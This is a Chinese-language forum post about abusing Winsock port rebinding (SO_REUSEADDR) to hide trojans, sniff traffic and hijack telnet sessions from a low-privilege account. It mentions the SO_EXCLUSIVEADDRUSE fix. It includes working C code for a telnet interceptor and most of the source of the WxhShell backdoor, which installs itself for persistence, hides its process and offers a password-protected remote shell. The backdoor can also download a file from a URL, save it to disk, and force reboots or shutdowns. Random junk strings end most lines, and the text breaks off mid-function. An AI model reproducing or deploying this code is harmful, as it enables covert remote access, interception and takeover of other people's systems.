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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y4*i V;"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J1OZG6|e  
e??tp]PLn  
  saddr.sin_family = AF_INET; vD<6BQR  
},58B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MMlryn||1  
$ N`V%<W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4 =/5  
rEz-\jLD~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iV9wqUkMv  
58xaVOhb  
  这意味着什么?意味着可以进行如下的攻击: +B(x:hzY9  
x/~qyX8vo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5=/&[=  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m2c>RCq  
kc*zP=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3 #GZ6:rVJ  
}/tT=G]91  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &L7u//  
k3[rO}>s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V~#e%&73FH  
t][U`1>i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '{]1!yMh  
nW)-bAV<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U@t" o3E  
D5]AL5=Xt2  
  #include b"D? @dGB,  
  #include k^<s|8Y  
  #include pe^hOzVv  
  #include    0e./yPTT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .II*wK k  
  int main() q/T(s  
  { (PVK|Q55y  
  WORD wVersionRequested; *"cK_MH/o  
  DWORD ret; RYhaQ &1i  
  WSADATA wsaData; 6yDj1PI  
  BOOL val; #+VH]7]  
  SOCKADDR_IN saddr; )-qWcf?   
  SOCKADDR_IN scaddr; ~\vGwy  
  int err; yH`4 sd  
  SOCKET s; 7JC^+ rk  
  SOCKET sc; C%c}lv8;^  
  int caddsize; N=2BrKb)o  
  HANDLE mt; |X}H&wBWo  
  DWORD tid;   $? 'JePC  
  wVersionRequested = MAKEWORD( 2, 2 ); )gX7qQ  
  err = WSAStartup( wVersionRequested, &wsaData ); iJ8 5okv'  
  if ( err != 0 ) { ~Te9Lq|  
  printf("error!WSAStartup failed!\n"); }Iyr u3M][  
  return -1; gK&MdF*  
  } aJ!(c}N~97  
  saddr.sin_family = AF_INET; eA4dDKX+  
   tx$i(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2 X];zY  
W|~Jl7hs8Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }kNbqwVP  
  saddr.sin_port = htons(23); @M]uUL-ze  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /mdPYV  
  { 3Jt7IM!9[  
  printf("error!socket failed!\n"); ]'L#'"@  
  return -1; ;q=0NtCS=4  
  } WO}l&Q  
  val = TRUE; E$u9Jbe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SH oov  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,H_b@$]n8  
  { qcNu9Ih  
  printf("error!setsockopt failed!\n"); 7g* "AEk  
  return -1; P M x`P B  
  } |igr3p5Fw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [RAzKzC\M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \(4"kY_=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /mi9 q  
V6c>1nZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :,<G6"i  
  { cWNZ +Q8Y  
  ret=GetLastError();  #  
  printf("error!bind failed!\n"); N5ph70#y3  
  return -1; Ok0zgi  
  } 5l(8{,NDt  
  listen(s,2); QU#u5sX A  
  while(1) Moldv x=M  
  { 2qA"emUM  
  caddsize = sizeof(scaddr); 4 6yq F  
  //接受连接请求 m L#%H(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;0Vyim)S]  
  if(sc!=INVALID_SOCKET) he vM'"|4  
  { Wzn!BgxRr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #mK/xbW  
  if(mt==NULL) kVqRl%/3Tb  
  { ;Dw6pmZ  
  printf("Thread Creat Failed!\n"); !,SGKLs.m  
  break; a?d)l nk  
  } #4yh-D"  
  } 9<" .1  
  CloseHandle(mt); A^%li^qz  
  } <P%<EgOE  
  closesocket(s); 6Mh;ld@  
  WSACleanup();  9Kpzj43  
  return 0; nEG+TRZ)\  
  }   rnkq.  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,/bSa/x`  
  { ~Z{IdE  
  SOCKET ss = (SOCKET)lpParam; y8HwyU>  
  SOCKET sc; tM% f#O  
  unsigned char buf[4096]; (V06cb*42[  
  SOCKADDR_IN saddr; San=E@3}v!  
  long num; Bd8{25{c  
  DWORD val; L@&(>  
  DWORD ret; ZCcKY6b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &*e(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $:4* ?8 K2  
  saddr.sin_family = AF_INET; TV['"'D&i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }|Ao@UvH  
  saddr.sin_port = htons(23); NDqvt$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O'WB O"  
  { &Q>tV+*  
  printf("error!socket failed!\n"); D,c53B6M  
  return -1; J^Mq4&  
  } wuV*!oefo  
  val = 100; SKUri  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7<Yf  
  { 8NUVHcB6  
  ret = GetLastError(); 4[.DQ#r  
  return -1; nF)XZB 0F  
  } c9 7?+Y^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'LyEdlC]  
  { J?1U'/Wx2  
  ret = GetLastError(); KT9!R  
  return -1; W74Y.zQ  
  } ElK7jWJ+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y+kfMAv  
  { nF#1B4b>  
  printf("error!socket connect failed!\n"); ib,BYFKEW  
  closesocket(sc); ~ZuFMVR  
  closesocket(ss); q-lejVS(g  
  return -1; 2|re4  
  } |l#<vw wE  
  while(1) )/vse5EG+  
  { 4]P5k6 nV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MKPw;@-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `({ Bi!%i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dJ|/.J$d  
  num = recv(ss,buf,4096,0); K K_  
  if(num>0) ,'%wadOo  
  send(sc,buf,num,0); +k<0: Fi  
  else if(num==0) ~ 5@bW J  
  break; <{Pr(U*7}  
  num = recv(sc,buf,4096,0); 5IJm_oy  
  if(num>0) !*1Kjg3  
  send(ss,buf,num,0); ^OZ*Le  
  else if(num==0) qZwqnH  
  break; p G-9H3[f#  
  } W)z@>4`Bb  
  closesocket(ss); 8TH fFL  
  closesocket(sc); Q?xCb  
  return 0 ; ,"xr^@W  
  } gZW(z  
7mT iO?/y<  
l RM7s(^l  
========================================================== WV?3DzeR  
ygo4.  
下边附上一个代码,,WXhSHELL - xE%`X  
SF. Is=b  
========================================================== ;QS(`SK l  
PO@b9O  
#include "stdafx.h" !+H)N  
: pkOZ+t  
#include <stdio.h> @ i*It Hk  
#include <string.h> 3X:)r<  
#include <windows.h> F~Sw-b kSf  
#include <winsock2.h> 3 [r9v!l  
#include <winsvc.h> /t|Lu@&:Xo  
#include <urlmon.h> w'Vm'zo  
< pWk   
#pragma comment (lib, "Ws2_32.lib") $_Kcm"oj  
#pragma comment (lib, "urlmon.lib") CBKLct>  
A3s-C+@X  
#define MAX_USER   100 // 最大客户端连接数 H/''lI{k)  
#define BUF_SOCK   200 // sock buffer 5i1E 5@~  
#define KEY_BUFF   255 // 输入 buffer z~($ "  
L )53o!  
#define REBOOT     0   // 重启 C;\R 62'  
#define SHUTDOWN   1   // 关机 Q`)iy/1M  
k}hTSL  
#define DEF_PORT   5000 // 监听端口 EGw;IFj)  
y"T(Unvc  
#define REG_LEN     16   // 注册表键长度 >)*0lfxTZ  
#define SVC_LEN     80   // NT服务名长度 M"s+k  
X0 ^~`g  
// 从dll定义API #D ]P3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Msst:}QY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'B9q&k%<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q(\kCUy!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;)23@6{R%  
M{4U%lk  
// wxhshell配置信息 bR'UhPs-8;  
struct WSCFG { T8NDS7&?  
  int ws_port;         // 监听端口 g@|2z  
  char ws_passstr[REG_LEN]; // 口令  %X* *(  
  int ws_autoins;       // 安装标记, 1=yes 0=no TOw;P:-  
  char ws_regname[REG_LEN]; // 注册表键名 ' '<3;  
  char ws_svcname[REG_LEN]; // 服务名 ^E&WgXlb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _^@>I8ix  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &a!MT^anA~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e]*@|e4b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %\] x}IC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p8(Z{TSv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $&X-ay o  
ows 3%  
}; 8}K4M(  
.~,=?aq^  
// default Wxhshell configuration r !;wKO  
struct WSCFG wscfg={DEF_PORT, v2Vmcc_]9x  
    "xuhuanlingzhe", .&2~g A  
    1, in7h^6?I  
    "Wxhshell", R1~wzy  
    "Wxhshell", ~oz??SX  
            "WxhShell Service", . "Q}2  
    "Wrsky Windows CmdShell Service", ?izl#?  
    "Please Input Your Password: ", 3(`P x}  
  1, ]cM,m2^2  
  "http://www.wrsky.com/wxhshell.exe", s)G?5Gz  
  "Wxhshell.exe" ^{a_:r"  
    }; Hm'aD2k  
r"!xI  
// 消息定义模块 R(f6uO!m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (,D:6(R7t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5Z`f .}^w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4 q\&Mb3  
char *msg_ws_ext="\n\rExit."; ^s\T<;  
char *msg_ws_end="\n\rQuit."; YySo%\d  
char *msg_ws_boot="\n\rReboot..."; 9qvl9,*g  
char *msg_ws_poff="\n\rShutdown..."; Gn^m541  
char *msg_ws_down="\n\rSave to "; Lk.tEuj=82  
hC?rHw H>  
char *msg_ws_err="\n\rErr!"; PR7B Cxm  
char *msg_ws_ok="\n\rOK!"; 06e dVIRr  
sGx3O i   
char ExeFile[MAX_PATH]; =w/AJ%6  
int nUser = 0; 8^67,I-c  
HANDLE handles[MAX_USER];  54#P  
int OsIsNt; z"-oD*ICw  
)E m`kle  
SERVICE_STATUS       serviceStatus; G5ShheZd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iN_P25Z<r  
OZEbs 7  
// 函数声明 O l;DJV  
int Install(void); J-qUJX~4c  
int Uninstall(void); Tj+U:#!!~  
int DownloadFile(char *sURL, SOCKET wsh); QD-`jV3  
int Boot(int flag); e.fxB  
void HideProc(void); W#2} EX  
int GetOsVer(void); k *D8IB  
int Wxhshell(SOCKET wsl); FKUo^F?z  
void TalkWithClient(void *cs); @9~x@[  
int CmdShell(SOCKET sock); Ns]$+|  
int StartFromService(void); b,X+*hRt  
int StartWxhshell(LPSTR lpCmdLine); V9jxmu F,  
!E|m'_x*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X#HH7V>  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  DTa!vg  
1Vc~Sa  
// 数据结构和表定义 b1;h6AeL  
SERVICE_TABLE_ENTRY DispatchTable[] = q]Kv.x]$R  
{  O*.n;_&  
{wscfg.ws_svcname, NTServiceMain}, .PV(MV  
{NULL, NULL} aKE`nA0\B  
}; UD.ZnE{"  
Uf MQ?(,  
// 自我安装 I1rB,%p  
int Install(void) u-tD_UIck  
{ R+_!FnOJ  
  char svExeFile[MAX_PATH]; RR's W@  
  HKEY key; 1;'-$K`}  
  strcpy(svExeFile,ExeFile); oo BBg@  
f:y1eLl3  
// 如果是win9x系统,修改注册表设为自启动 BO7XN;  
if(!OsIsNt) { aGfp"NtL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f/s"2r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nA{yH}D4  
  RegCloseKey(key); ~mwIr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k2tSgJW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a2ho+TwT  
  RegCloseKey(key); y. 1F@w|  
  return 0; L[A?W  
    } Yi)s=Q:  
  } t`{T:Tjc  
} ``I[1cC  
else { $d!Vxm  
,,+4d :8$  
// 如果是NT以上系统,安装为系统服务 ;<thEWH;Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mQR9Pn}H  
if (schSCManager!=0) &CSy>7&q  
{ nm& pn*1  
  SC_HANDLE schService = CreateService v;U5[  
  ( E/*&'Osq  
  schSCManager, .Gvk5Wn  
  wscfg.ws_svcname, psc Fb$b  
  wscfg.ws_svcdisp, ^6R(K'E}  
  SERVICE_ALL_ACCESS, )J0h\ky  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &6 <a<S  
  SERVICE_AUTO_START, nxx/26{  
  SERVICE_ERROR_NORMAL, Dg"szJ-   
  svExeFile, gzqp=I[%  
  NULL, PgGUs4[  
  NULL, yjMN>L'  
  NULL, 3 u4Q!U%(D  
  NULL, Hk@Gkx_  
  NULL 2<y9xvp  
  ); a'/i/@h  
  if (schService!=0) j*Pq<[~  
  { %D8.uGsh  
  CloseServiceHandle(schService); t89Tt@cf  
  CloseServiceHandle(schSCManager); 'L-DMNxBr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N$IA~)  
  strcat(svExeFile,wscfg.ws_svcname); i}P{{kMJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %lWOW2~R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SY[3O  
  RegCloseKey(key); !khEep}  
  return 0; 6 h,!;`8O  
    } d[J_iD{ &  
  } )7NI5x^$  
  CloseServiceHandle(schSCManager); 9A} *  
} '&B4Ccn<V  
} yG/!K uA  
3dj|jw5  
return 1; `w\P- q  
} VDbbA\  
I*3}erT  
// 自我卸载 o!":mJy  
int Uninstall(void) CL4N/[UM  
{ #xw*;hW<  
  HKEY key; iP"sw0V8  
[A!w  
if(!OsIsNt) { 0~^RHb.NA8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pcwYgq#5  
  RegDeleteValue(key,wscfg.ws_regname); > ]^'h  
  RegCloseKey(key); qrlC U4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WJnGF3G>  
  RegDeleteValue(key,wscfg.ws_regname); kt978qfk  
  RegCloseKey(key); X&?s:A  
  return 0; za@/4z  
  } j/d}B_2  
} ^F+7<$ 2  
} " L`)^  
else { _o$jk8jOjW  
C'#)mo_@t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?zf3Fn2y  
if (schSCManager!=0) }Ze*/ p-  
{ L!If~6oD(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @5S'5)4pB  
  if (schService!=0) )_=2lu3%{  
  { aIV / c  
  if(DeleteService(schService)!=0) { T+F]hv'  
  CloseServiceHandle(schService); !ka* rd  
  CloseServiceHandle(schSCManager); Sz go@x$^  
  return 0; @a?7D;+<  
  } WQ.0}n}d  
  CloseServiceHandle(schService); F+V!p4G  
  } "^n,(l*4x  
  CloseServiceHandle(schSCManager); v\Uk?V5T  
} Kf[d@ L  
}  S=(O6+U  
"0P`=n  
return 1; |h\7Q1,1~2  
} 4VwF \  
tX{yR'Qhu  
// 从指定url下载文件 No'?8+i  
int DownloadFile(char *sURL, SOCKET wsh) }aVZ\PDg  
{ `OBzOM  
  HRESULT hr; Fz%;_%j  
char seps[]= "/"; hw^&{x  
char *token; "]+g5G  
char *file; +(3_V$|Dv  
char myURL[MAX_PATH]; mH'~pR>t  
char myFILE[MAX_PATH]; t;e&[eg  
faDSyBLo  
strcpy(myURL,sURL); 2s\ClT  
  token=strtok(myURL,seps); ]%' AZ`8  
  while(token!=NULL) 1UP=(8j/  
  { |1U_5w  
    file=token; >NRppPqL  
  token=strtok(NULL,seps); hJb2y`,q  
  } i})s4%a  
5?kfE  
GetCurrentDirectory(MAX_PATH,myFILE); {>f"&I<xw  
strcat(myFILE, "\\"); ZEP?~zV\A  
strcat(myFILE, file); +1ICX  
  send(wsh,myFILE,strlen(myFILE),0); @r TB&>`  
send(wsh,"...",3,0); =RQF::[h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |kYlh5/c d  
  if(hr==S_OK) l|P"^;*zq  
return 0; pHV^K v#  
else U'fP  
return 1; b6D;98p  
M3(N!xT  
} ON :t"z5  
fkA+:j~z_  
// 系统电源模块 "4N&T#  
int Boot(int flag) smP4KC"I(d  
{ ul~ux$a  
  HANDLE hToken; oz) [ -  
  TOKEN_PRIVILEGES tkp; cS ~OxAS  
uO%0rKW  
  if(OsIsNt) { HBlk~eZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `2lS@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +jm,nM9  
    tkp.PrivilegeCount = 1;  F B]Y~;(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ] ; w 2YR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5 \mRH  
if(flag==REBOOT) { r/YJ,2!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }A)\bffH  
  return 0; M(%H  
} ['d9sEv.  
else { O0  'iq^g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .wfydu)3  
  return 0; u`pTFy  
} vsY?q8+P  
  } HIg2y  
  else { eg0_ <  
if(flag==REBOOT) { Fr9/TI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /bo}I-<2  
  return 0; !~ox;I}S  
} PX:#+bq1  
else { {,>G 1>Yv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fvu{(Tb  
  return 0; Cf% qap#  
} Gm~([Ln{  
} R9XU7_3B  
YQMWhC,8hy  
return 1; c*bvZC^6  
} c%H' jB [  
?Ga8.0Z~KT  
// win9x进程隐藏模块 ~?Zib1f)  
void HideProc(void) @N*|w Kc+  
{ N} EKV  
?cU,%<r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,i>`Urd  
  if ( hKernel != NULL ) NxP(&M(  
  { \8vP"Kr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O1c%XwMn^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y|`-)fY  
    FreeLibrary(hKernel); RGW@@  
  } %rwvY`\  
mLCD N1UO{  
return; (0-Ol9[  
} (x=$b(I  
ww2mL <B  
// 获取操作系统版本 >0^<<=m  
int GetOsVer(void) 4Aj~mA  
{ 8Qvs\TY  
  OSVERSIONINFO winfo; Wjb_H (D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $n<a`PdH  
  GetVersionEx(&winfo); @MSmg3 &  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s.J 4&2Q  
  return 1; rc_m{.b  
  else QLqtE;;)JK  
  return 0; z8\YMr 6o  
} W[2]$TwT  
Fh#QS'[  
// 客户端句柄模块 WZQ2Mi<&1'  
int Wxhshell(SOCKET wsl) IO)B3,g  
{ xf,[F8 2y  
  SOCKET wsh; 4]o+)d.`(  
  struct sockaddr_in client; gAAC>{Wh  
  DWORD myID; 1wFu3fh@  
(b25g!  
  while(nUser<MAX_USER) &8$v~  
{ ';C'9k<P:  
  int nSize=sizeof(client); RpJ7.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #Y7jNrxE  
  if(wsh==INVALID_SOCKET) return 1; ~P3b5 -  
)eZK/>L&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oe5rRQ$O  
if(handles[nUser]==0) eF+F"|1h  
  closesocket(wsh); J(]|)?x2  
else (*S<2HN5  
  nUser++; A@V$~&JCL5  
  } |]7c&`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o/Ismg-p  
"OLg2O^  
  return 0; [F6 )Z[uG  
} A8-[EBkK  
Wga2).j6  
// 关闭 socket Oiib2Ov  
void CloseIt(SOCKET wsh) \Oq2{S x\  
{ {o~TbnC  
closesocket(wsh); ZID-~ 6  
nUser--; /@\`Ibe  
ExitThread(0); cN@_5  
} Sr \y1nt  
j|KDgI<0  
// 客户端请求句柄  \ ca<L  
void TalkWithClient(void *cs) 8UU L=  
{ Ar<5UnT  
Z5t^D|  
  SOCKET wsh=(SOCKET)cs; SJ]6_4=y*  
  char pwd[SVC_LEN]; |%|03}Q  
  char cmd[KEY_BUFF]; lie,A  
char chr[1]; ~dS15E4-Pp  
int i,j; 3)WfBvG  
@k i|# ro  
  while (nUser < MAX_USER) { %SC Jmn2  
SZH`-xb!+5  
if(wscfg.ws_passstr) { DgT]Nty@b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a,w|r#x]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;t0 q ?9  
  //ZeroMemory(pwd,KEY_BUFF); 8&U Mmbgy  
      i=0; 1["i,8zB  
  while(i<SVC_LEN) { vv.E6D^x(  
[gT}<W  
  // 设置超时 0B(s+#s  
  fd_set FdRead; <&m50pq  
  struct timeval TimeOut; D% jGK  
  FD_ZERO(&FdRead); !dT+cZsf  
  FD_SET(wsh,&FdRead); 5, $6mU#=  
  TimeOut.tv_sec=8; ;qaPK2 a8  
  TimeOut.tv_usec=0; WkXgz6 P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^i|R6oO_5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4Kch=jt4#  
WO.u{vW]'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Kgb-bXB  
  pwd=chr[0]; <<!fA ><W  
  if(chr[0]==0xd || chr[0]==0xa) { # ][i!9$  
  pwd=0; :EOai%i  
  break; V22z-$cb  
  } $w*L' <  
  i++; 0Agse)  
    } T3fQ #p  
&:l-;7d  
  // 如果是非法用户,关闭 socket <7]HM5h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }`gOfj)?i  
} N" L&Z4Z  
~)f^y!PMQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FGi7KV=N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7(1`,Y  
vS\2zwb}  
while(1) { @e<( o UE  
\Wfw\x0.  
  ZeroMemory(cmd,KEY_BUFF); AY5iTbL1  
;~<To9O  
      // 自动支持客户端 telnet标准   _;03R{e*  
  j=0; $Wj= V  
  while(j<KEY_BUFF) { t}eyfflZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 67iI wY*8'  
  cmd[j]=chr[0]; K\2{SjL:B  
  if(chr[0]==0xa || chr[0]==0xd) { K#+?oFo:  
  cmd[j]=0; . f_ A%  
  break; gbuh04#~  
  } E<\$3G-do  
  j++; >>J3"XHX  
    } @F 5Af/  
?:wb#k)Z/  
  // 下载文件 I5M\PK/  
  if(strstr(cmd,"http://")) { }>h n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (1'DZ xJ&u  
  if(DownloadFile(cmd,wsh)) r""rJzFz'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I&+.IK_  
  else fF)Q;~_VA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J.yM@wPS>  
  } P{9:XSa%  
  else { V#oz~GMB  
Qx4)'n  
    switch(cmd[0]) { n>}Y@{<]/  
  kxhsDD$@p  
  // 帮助 ^^V3nT2rR3  
  case '?': { x/O;8^b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i]c{(gd`  
    break; :C_/K(Rkl  
  } 2G~{x7/[@  
  // 安装 9F807G\4Qt  
  case 'i': { naaKAZ!S  
    if(Install()) DKS1Sm6d0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H=BI%Z  
    else {P6Bfh7CZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zls^JTE  
    break;  ]ltCJq  
    } lf`ULY4{  
  // 卸载 lW c[Q1  
  case 'r': { a Y)vi$;]  
    if(Uninstall()) / <(|4e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9YI@c_1 Q  
    else N 8[r WJ#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K.yc[z)un  
    break; 2-'_Nwkl*  
    } (/uN+   
  // 显示 wxhshell 所在路径 Ze%S<xT!O  
  case 'p': { F qJ`d2E  
    char svExeFile[MAX_PATH]; G T~rr*X  
    strcpy(svExeFile,"\n\r"); Y A,. C4=s  
      strcat(svExeFile,ExeFile); s#5#WNzP  
        send(wsh,svExeFile,strlen(svExeFile),0); m u9,vH  
    break; >aJmRA-C}  
    } 8(n>99 VVK  
  // 重启 Zw)=Y.y!  
  case 'b': { #om Gj&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y"t|0dO%b  
    if(Boot(REBOOT)) }uMu8)Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }N9PV/a  
    else { +On2R&m  
    closesocket(wsh); (A2ga):Pk  
    ExitThread(0); }*J04o$oI  
    } @8c@H#H  
    break; Bj{J&{  
    } )Jvo%Y  
  // 关机 t~qSiHw  
  case 'd': { c@,1?q1bv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6DHZ,gWq  
